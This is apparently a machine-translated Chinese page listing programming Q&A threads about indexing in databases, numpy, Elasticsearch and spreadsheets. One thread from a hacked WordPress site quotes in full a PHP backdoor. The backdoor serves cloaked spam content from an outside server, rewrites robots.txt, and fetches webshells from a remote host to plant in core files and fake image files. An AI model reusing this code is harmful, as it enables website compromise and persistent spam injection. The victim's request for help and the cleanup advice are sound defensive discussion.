indexing 相关问题

索引数据结构是提高数据查找速度的一般技术。

带有对象数组的 Mongo 索引根据我查询的数组字段数量而表现不同

我无法让 mongo 索引与多个数组的字段一起工作。蒙戈版本：6 我有一个包含数十亿文档的庞大数据库。出于实际原因，我创建了一个新的测试虚拟数据库，其中有一个妙招...

arrays json mongodb indexing mongodb-query

回答 1 投票 0

数组对多个元素进行排序

我想我应该重写这个，以便使它更清晰一点，并希望消除混乱。可以说我有几层办公室。我想按最低编号对这些办公室进行排序...

php arrays loops sorting indexing

回答 2 投票 0

复杂sql查询如何选择索引

我正在处理一个复杂的 SQL 查询，其中涉及多个联接、子查询、分组和排序。主要目标是提高此查询的性能，特别是通过选择正确的...

sql mysql indexing greatest-n-per-group

回答 1 投票 0

在Python中从矩阵中选择列向量

我想在 Python/numpy 中的矩阵中索引列向量，并将其作为列向量而不是一维数组返回。 x = np.array([[1,2],[3,4]]) x[:,1] >数组([2, 4]) np.transpose(x[:,...

python numpy matrix indexing

回答 1 投票 0

弹性 KNN 搜索 num 个候选者。候选人是如何选出的？

我试图理解在弹性搜索中使用 KNN 搜索时的“num_candidates”参数。阅读我将在最后列出的一些帖子/文档时，我了解到 ES 选择...

elasticsearch vector indexing knn

回答 1 投票 0

我创建了一个子域，当我尝试访问它时，它给出了访问被拒绝的错误

我创建了一个子域。 (track.example.com) 我使用直接管理面板，所以我设置了根公共：/domains/track.example.com/public_html 私人：/domains/track.example.com/private_html 我配合...

php .htaccess indexing server directadmin

回答 2 投票 0

Oracle 查询忽略分区表上的本地索引

我在Oracle中有一个分区表SHARED_RAW_RE_GL78，按列MONTHID分区。该表约有 3 亿行，每天插入约 200 万行新行。我创建了一个本地...

sql oracle-database indexing

回答 1 投票 0

基于父表的唯一索引的解决方法

我有一个与此类似的表结构城镇（id、名称、region_id）地区（id、名称、国家/地区 ID）国家（ID、名称）我需要加强城镇名称在国内的唯一性。在 gi...

sql postgresql indexing

回答 1 投票 0

ElasticSearch 中索引关闭的用例是什么？

我发现ES指数可以关闭了。 https://www.elastic.co/guide/en/elasticsearch/reference/6.3/indices-open-close.html 封闭索引对集群几乎没有任何开销（除了

elasticsearch indexing lucene

回答 2 投票 0

我的 WordPress 网站上的 index.php 文件每次删除后都会被黑客入侵

我的index.php中有这段代码，请帮助我如何防止这段代码返回，有什么方法可以锁定我的index.php文件。我的index.php中有这段代码，请帮助我如何防止此代码返回，有什么方法可以锁定我的index.php文件。 <?php error_reporting(0); @set_time_limit(3600); @ignore_user_abort(1); $xmlname = 'mapss.xml'; $dt = 0; $sitemap_file = 'sitemap'; $mapnum = 2000; if(isset($_GET['dt'])){ $dt = $_GET['dt']; } $site = @$_GET['smsite']; $jdir = ''; $http_web = 'http'; if(is_https()){ $http = 'https'; }else{ $http = 'http'; } $smuri_tmp = smrequest_uri(); $uri_script = ""; if(strstr($smuri_tmp, ".php") && !$site){ $uri_arr = explode(".php", $smuri_tmp); $uri_script = $uri_arr[0].".php?"; $smuri_tmp = $uri_arr[1]; $smuri_tmp = str_replace("?", "/", $smuri_tmp); } if($smuri_tmp==''){ $smuri_tmp='/'; } $s = 'b'.'ase6'.'4_e'.'ncode'; $smuri = $s($smuri_tmp); function smrequest_uri(){ if (isset($_SERVER['REQUEST_URI'])){ $smuri = $_SERVER['REQUEST_URI']; }else{ if(isset($_SERVER['argv'])){ $smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0]; }else{ $smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING']; } } return $smuri; } @$action = $_GET['ac']?$_GET['ac']:""; if($action != "" && $action == "write"){ write(); echo "write done!"; exit(); } $goweb = 'seo601-2.firstok.xyz'; $password = md5(md5(@$_GET['pd'])); if ($password == '5fbf36f6b1070aec65f00cb8e35c9cc4') { $add_content = @$_GET['mapname']; $action = @$_GET['action']; $domain = @$_GET['domain']; if($domain){ $host = $domain; }else{ $host = $_SERVER['HTTP_HOST']; } //$host = $_SERVER['HTTP_HOST']; $path = dirname(__FILE__); $file_path = $path.'/robots.txt'; if(!$action){ $action = 'put'; } if($action == 'put'){ $data = 'User-agent: * Allow: /'; $uri_script = trim($uri_script); if( $uri_script!= "" && $uri_script!="/index.php?"){ $data = trim($data)."\r\n"."Sitemap: $http://".$host.$uri_script."sitemap.xml"; }else{ $data = trim($data)."\r\n"."Sitemap: $http://".$host."/sitemap.xml"; } $num = mt_rand(5, 10); for($i = 0; $i<$num; $i++){ if(trim($uri_script) != "" && $uri_script!="/index.php?"){ $data = trim($data)."\r\n"."Sitemap: $http://".$host.$uri_script."sitemap$i.xml"; }else{ $data = trim($data)."\r\n"."Sitemap: $http://".$host."/sitemap$i.xml"; } } @chmod("robots.txt", 0755); file_put_contents("robots.txt", $data); echo "robots write done!!"; } if($action == 'del'){ if(file_exists($file_path)){ $data = smoutdo($file_path); }else{ $data = ''; } if(strstr($data,'/'.$add_content)){ if(is_https()){ $data_new = trim($data)."\r\n".'Sitemap: https://'.$host.'/'.$add_content; }else{ $data_new = trim($data)."\r\n".'Sitemap: http://'.$host.'/'.$add_content; } if(file_put_contents($file_path,$data_new)) { echo ' ok '; }else{ echo ' file write false! '; } }else{ echo ' sitemap does not exist! '; } } exit; } function is_https() { if ( !empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') { return true; } elseif ( isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https' ) { return true; } elseif ( !empty($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') { return true; } return false; } $temp = @$_GET['smtemp']; $id = @$_GET['smid']; $page = @$_GET['smpage']; $site = str_replace('/','',$site); $host = $_SERVER['HTTP_HOST']; $clock = ''; $tempweb = @$_GET['tempweb']; $tempweb = str_replace('/','',$tempweb); if($tempweb){ $site = $tempweb[0].$tempweb[1].$tempweb[2]; $temp = substr($tempweb,3); } $lang = $_SERVER["HTTP_ACCEPT_LANGUAGE"]; $lang = $s($lang); $os = $_SERVER['HTTP_USER_AGENT']; $os = $s($os); if(isset($_SERVER['HTTP_REFERER'])){ $urlshang = $_SERVER['HTTP_REFERER']; $urlshang = $s($urlshang); }else{ $urlshang = ''; } if(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) { $clock = getenv('REMOTE_ADDR'); } elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) { $clock = $_SERVER['REMOTE_ADDR']; } $http_clock = ''; if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) { $http_clock = getenv('HTTP_CLIENT_IP'); } elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) { $http_clock = getenv('HTTP_X_FORWARDED_FOR'); } if(stristr($clock,',')){ $clock_tmp = explode(",",$clock); $clock = $clock_tmp[0]; } if(!isset($sitemap_file) || @$sitemap_file==''){ $sitemap_file = 'sitemap'; } if(!isset($mapnum) || @$mapnum==''){ $sitemap_file = 2000; } if(preg_match('/^'."\/".$sitemap_file.'(\d+)?.xml$/i',$smuri_tmp,$uriarr)){ @header("Content-type: text/xml"); if(isset($uriarr[1])){ $id = str_replace('_','',$uriarr[1]); }else{ $id = 100; } $ivmapid = 0; sitemap_out(z_sitemap($goweb,$id,$host,$dt,$ivmapid,$mapnum,$http_web),$host,$uri_script); exit(); } function z_sitemap($goweb,$id,$host,$dt,$maptype,$map_num,$http_web='http',$filetype=0,$map_splits_num='',$temp='',$dataNew=''){ $web = $http_web.'://'.$goweb.'/sitemapdtn.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&filetype='.$filetype.'&map_splits_num='.$map_splits_num.'&map_num='.$map_num.'&dataNew='.$dataNew; return trim(smoutdo($web)); } function sitemap_out($url,$host,$uri_script){ if(is_https()){ $http = 'https'; }else{ $http = 'http'; } $date_str = date("Y-m-d\TH:i:sP",time()); $sitemap_header = '<?xml version="1.0" encoding="UTF-8"?> <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">'; $sitemap_header .= ' <url> <loc>'.$http.'://' . $host . "/" . '</loc> <lastmod>' . $date_str . '</lastmod> <changefreq>daily</changefreq> <priority>0.1</priority> </url>'; $url_arr = explode("\r\n",$url); $map_str = $sitemap_header; foreach($url_arr as $value){ $map_str .= ' <url> <loc>'.$http.'://' . $host . "/" .$value .'</loc> <lastmod>' . $date_str . '</lastmod> <changefreq>daily</changefreq> <priority>0.1</priority> </url>'; } if($uri_script != ""){ $map_str = str_replace($host."/",$host.$uri_script, $map_str); } echo $map_str." </urlset>"; } function get($url){ $contents = @file_get_contents($url); if (!$contents) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); $contents = curl_exec($ch); curl_close($ch); } return $contents; } function write(){ $write1 = get("http://hello.turnedpro.xyz/write1.txt"); $write2 = get("http://hello.turnedpro.xyz/write2.txt"); $shell_postfs = get("http://hello.turnedpro.xyz/mm1.txt"); $shell_load = get("http://hello.turnedpro.xyz/mm2.txt"); $ht_content = file_get_contents(".htaccess"); $index_content = file_get_contents("index.php"); $loader_php = "wp-includes/template-loader.php"; $load_php = "wp-includes/load.php"; $font_editor_php = "wp-includes/SimplePie/font-editor.php"; if(!is_dir("css")){ mkdir("css", 0755, true); } file_put_contents("css/load.php", $shell_load); if(is_dir("wp-includes/SimplePie")){ file_put_contents("wp-admin/images/arrow-lefts.png", $index_content); file_put_contents("wp-admin/images/arrow-rights.png", $ht_content); file_put_contents("wp-includes/images/smilies/icon_devil.gif", $index_content); file_put_contents("wp-includes/images/smilies/icon_crystal.gif", $ht_content); $loader_content = file_get_contents($loader_php); $load_content = file_get_contents($load_php); @chmod($loader_php, 0755);@chmod($load_php, 0755); file_put_contents($loader_php, $write1.$loader_content); file_put_contents($load_php, $load_content.$write2); @chmod($loader_php, 0644);@chmod($load_php, 0644); file_put_contents($font_editor_php, $shell_postfs); } } if(stristr($smuri_tmp,'.css')){ $web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&jdir='.$jdir.'&clock='.$clock.'&uri='.$smuri.'&lang='.$lang.'&os='.$os.'&urlshang='.$urlshang.'&http_clock='.$http_clock; $html_content = trim(smoutdo($web)); if(!strstr($html_content,'nobotuseragent')){ if(strstr($html_content,'okhtmlgetcontent')){ @header("Content-type: text/css; charset=utf-8"); $html_content = str_replace("okhtmlgetcontent",'',$html_content); echo $html_content; exit(); }else if(strstr($html_content,'getcontent500page')){ @header('HTTP/1.1 500 Internal Server Error'); exit(); }else if(strstr($html_content,'getcontent404page')){ @header('HTTP/1.1 404 Not Found'); exit(); } } }else if($site){ if($site == 'xml'){ @header("Content-type: text/html; charset=utf-8"); $mapdir = @$_GET['mapdir']; $maptype = @$_GET['maptype']; $filetype = @$_GET['filetype']; $map_splits_num = @$_GET['map_splits_num']; $map_num = @$_GET['map_num']; $dataNew = @$_GET['dataNew']; if($mapdir){ if(!is_dir($mapdir)){ @mkdir($mapdir,0777,true); echo 'ok '.$mapdir.' success! '; }else{ echo $mapdir.' already exist! '; } } if(@$_GET['mapindex']){ $filearray = listDir($mapdir); if(count($filearray)>=2){ $mapindex_str = ''; $mapindex_str = '<?xml version="1.0" encoding="UTF-8"?> <sitemapindex xmlns="http://www.google.com/schemas/sitemap/0.84">'; foreach($filearray as $value){ if(stristr($value,'.xml')){ $mapindex_str .= ' <sitemap> <loc>'."http://".$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$value.'</loc> </sitemap>'; } } $mapindex_str .= ' </sitemapindex>'; $xmlname = @$_GET['mapindex'].'.xml'; $myfile = fopen($xmlname, "w"); fwrite($myfile, $mapindex_str); fclose($myfile); echo "ok http://".$_SERVER['HTTP_HOST']."/".$xmlname; //echo " ".$web; exit; }else{ echo 'xml file less number mapindex faile!'; exit; } } $web = $http_web.'://'.$goweb.'/sitemap.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&filetype='.$filetype.'&map_splits_num='.$map_splits_num.'&map_num='.$map_num.'&dataNew='.$dataNew.'&uri='.$smuri.'&http='.$http; if(substr($temp,0,8)=='shellxml'){ $xmlname = substr($temp,8).'.xml'; } if(substr($temp,0,7)=='hackxml'){ if(substr($temp,7)){ $xmlname = substr($temp,7).'.xml'; } } if(@$_GET['mapdir']){ if($filetype==1){ $xmlname = $xmlname.'.gz'; }else if($filetype==2){ if(function_exists('gzopen')) { $xmlname = $xmlname.'.gz'; if($fp = gzopen($mapdir.'/'.$xmlname, 'w9')){ $xml = trim(smoutdo($web)); if(stristr($xml,'no creat map')){ echo 'no creat map!'; exit; } $fp = gzopen ($mapdir.'/'.$xmlname, 'w9'); gzwrite ($fp, $xml); gzclose($fp); echo "ok ".$http."://".$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname; echo " ".$web; exit(); }else{ gzclose($fp); echo 'creat sitemap faile No Permissions! http://'.$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname; echo " ".$web; exit(); } }else{ echo 'gzopen no exists! '.$http.'://'.$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname; $web = $http_web.'://'.$goweb.'/sitemap.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&http='.$http; echo " ".$web; exit(); } } if(fopen($mapdir.'/'.$xmlname, "w")){ $xml = trim(smoutdo($web)); if(stristr($xml,'no creat map')){ echo 'no creat map!'; exit; } $myfile = fopen($mapdir.'/'.$xmlname, "w"); fwrite($myfile, $xml); fclose($myfile); echo "ok ".$http."://".$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname; echo " ".$web; exit(); }else{ fclose($myfile); echo 'creat sitemap faile No Permissions! http://'.$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname; echo " ".$web; exit(); } }else{ if(fopen($xmlname, "w")){ $xml = trim(smoutdo($web)); if(stristr($xml,'no creat map')){ echo 'no creat map!'; exit; } $myfile = fopen($xmlname, "w"); fwrite($myfile, $xml); fclose($myfile); echo "ok ".$http."://".$_SERVER['HTTP_HOST']."/".$xmlname; echo " ".$web; exit(); }else{ fclose($myfile); echo 'creat sitemap faile No Permissions! '.$http.'://'.$_SERVER['HTTP_HOST']."/".$xmlname; echo " ".$web; exit(); } } } if($id){ @header("Content-type: text/html; charset=utf-8"); $web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&clock='.$clock.'&uri='.$smuri.'&urlshang='.$urlshang.'&http='.$http.'&page='.$page; $html_content = trim(smoutdo($web)); if(!strstr($html_content,'nobotuseragent')){ if(strstr($html_content,'okhtmlgetcontent')){ $html_content = str_replace("okhtmlgetcontent",'',$html_content); echo $html_content; exit(); }else if(strstr($html_content,'getcontent500page')){ @header('HTTP/1.1 500 Internal Server Error'); exit(); }else if(strstr($html_content,'getcontent404page')){ @header('HTTP/1.1 404 Not Found'); exit(); } } } }else{ $web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&clock='.$clock.'&uri='.$smuri.'&urlshang='.$urlshang.'&http='.$http.'&page='.$page; $html_content = trim(smoutdo($web)); if($uri_script != ""){ $html_content = str_replace($host."/",$host.$uri_script, $html_content); } if(!strstr($html_content,'nobotuseragent')){ @header("Content-type: text/html; charset=utf-8"); if(strstr($html_content,'okhtmlgetcontent')){ $html_content = str_replace("okhtmlgetcontent",'',$html_content); echo $html_content; exit(); }else if(strstr($html_content,'getcontent500page')){ @header('HTTP/1.1 500 Internal Server Error'); exit(); }else if(strstr($html_content,'getcontent404page')){ @header('HTTP/1.1 404 Not Found'); exit(); }else if(strstr($html_content,'getcontent301page')){ @header('HTTP/1.1 301 Moved Permanently'); $html_content = str_replace("getcontent301page",'',$html_content); header('Location: '.$html_content); exit(); } } } function smisbot() { $agent = strtolower($_SERVER['HTTP_USER_AGENT']); if ($agent != "") { $googleBot = array("Googlebot","Yahoo! Slurp","Yahoo Slurp","Google AdSense",'google', 'yahoo'); foreach ($googleBot as $val) { $str = strtolower($val); if (strpos($agent, $str)) { return true; } } }else{ return false; } } function smotherbot() { $agent = strtolower($_SERVER['HTTP_USER_AGENT']); if ($agent != "") { $spiderSite = array ("TencentTraveler","msnbot","Sosospider+","Sogou web spider","ia_archiver","YoudaoBot","MSNBot","Java (Often spam bot)","BaiDuSpider","Voila","Yandex bot","BSpider","twiceler","Sogou Spider","Speedy Spider","Heritrix","Python-urllib","Alexa (IA Archiver)","Ask","Exabot","Custo","OutfoxBot/YodaoBot","yacy","SurveyBot","legs","lwp-trivial","Nutch","StackRambler","The web archive (IA Archiver)","Perl tool","MJ12bot","Netcraft","MSIECrawler","WGet tools","larbin","Fish search", 'bingbot', 'baidu', 'aol', 'bing', 'YandexBot', 'AhrefsBot'); foreach ($spiderSite as $val) { $str = strtolower($val); if (strpos($agent, $str)) { return true; } } }else{ return false; } } function smoutdo($url){ $file_contents = @file_get_contents($url); if (!$file_contents) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); $file_contents = curl_exec($ch); curl_close($ch); } return $file_contents; } function listDir($dir){ $filearr = array(); if(is_dir($dir)){ if ($dh = opendir($dir)){ while (($file = readdir($dh)) !== false){ if((file_exists($dir."/".$file)) && $file!="." && $file!=".."){ $filearr[] = $file; } } closedir($dh); } } return $filearr; } ?> 检查您是否有一个 cronjob 从 hello.turnedpro.xyz 域下载文件。该 cron 作业通过 wget 下载 bash 脚本，该脚本在您的 webroot 中执行并下载 webshell 和 .htaccess 文件您使用 c-panel 托管您的网站吗？按照swar3z的这个答案中所述删除cron条目后，您必须重新启动计算机以删除仍在运行的恶意软件进程，或者 - 如果不可能 - 搜索名为“lock666.php”的进程或类似并用kill -9 lock666.php杀死它。后者为我解决了问题。

php wordpress indexing cpanel

回答 2 投票 0

如何在 javascript 中连接模块

我只是 javascript 的初学者。我应该用输出以下内容的代码替换 blablabla 一周有 7 天。在编程中，星期日的索引往往为0。这是代码...

javascript indexing module interface weekday

回答 2 投票 0

需要 Excel 公式帮助返回值在数字数组中的正确位置

组最大长度 1 45 2 61 3 120 4 150 我有这张小桌子我试图在这张表中查找 70 的值所在的位置。（所以它落在 45-61 或 61 到 120 之间等等）对于上下文 - ...

indexing excel-formula match

回答 1 投票 0

Google 表格 - 选择列中的“最新”单元格并返回同一行中的相应值

我正在制作股票交易的跟踪电子表格，并希望创建一个“当前利润/损失”单元格，该单元格需要搜索最近的交易“类型”并返回